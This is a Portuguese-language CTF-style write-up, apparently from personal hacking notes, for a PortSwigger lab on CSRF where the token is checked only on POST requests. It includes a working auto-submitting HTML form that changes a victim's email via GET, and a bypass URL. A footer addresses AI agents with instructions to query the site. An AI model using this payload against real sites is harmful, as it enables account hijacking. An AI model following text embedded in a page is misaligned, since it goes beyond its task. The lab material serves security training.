> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF com Validação de Token Baseada no Método HTTP

Notas sobre CSRF com Validação de Token Baseada no Método HTTP para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### CSRF em que a validação do token depende do método da requisição

#### Contexto do laboratório

A funcionalidade de alteração de e-mail é vulnerável a um ataque CSRF. Existe uma defesa, mas ela é aplicada apenas a certos tipos de requisições. Objetivo: hospedar uma página no servidor de exploração que force a vítima a alterar seu endereço de e-mail. / Credenciais fornecidas para testes: `wiener:peter`.

#### Constatação

* Um token CSRF é verificado em **POST** requisições.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9d7d012949369bf65070cc123d465a674b8072%2F%7B7AC1E905-8E8F-4586-AD8A-5B5456F76E93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* A mesma ação é aceita em **GET** \*\*n
* Ponto em questão: `/my-account/change-email`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ea0892a9ff2ec48fcce1d9dcb84a08741cb22ab%2F%7B209AEB89-40CF-4130-A44B-5C24F83AD2DE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A hospedagem no servidor executa uma página que envia automaticamente uma **GET** consulta ao endpoint de alteração de e-mail:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

A URL a seguir ilustra o bypass (nenhum token é necessário no GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acb7fcc8c8a89d279256690e38876eb0488943ef%2F%7BC0479810-BBD1-4F65-B125-66A8FB36BD82%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-validation-depends-on-http-method.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.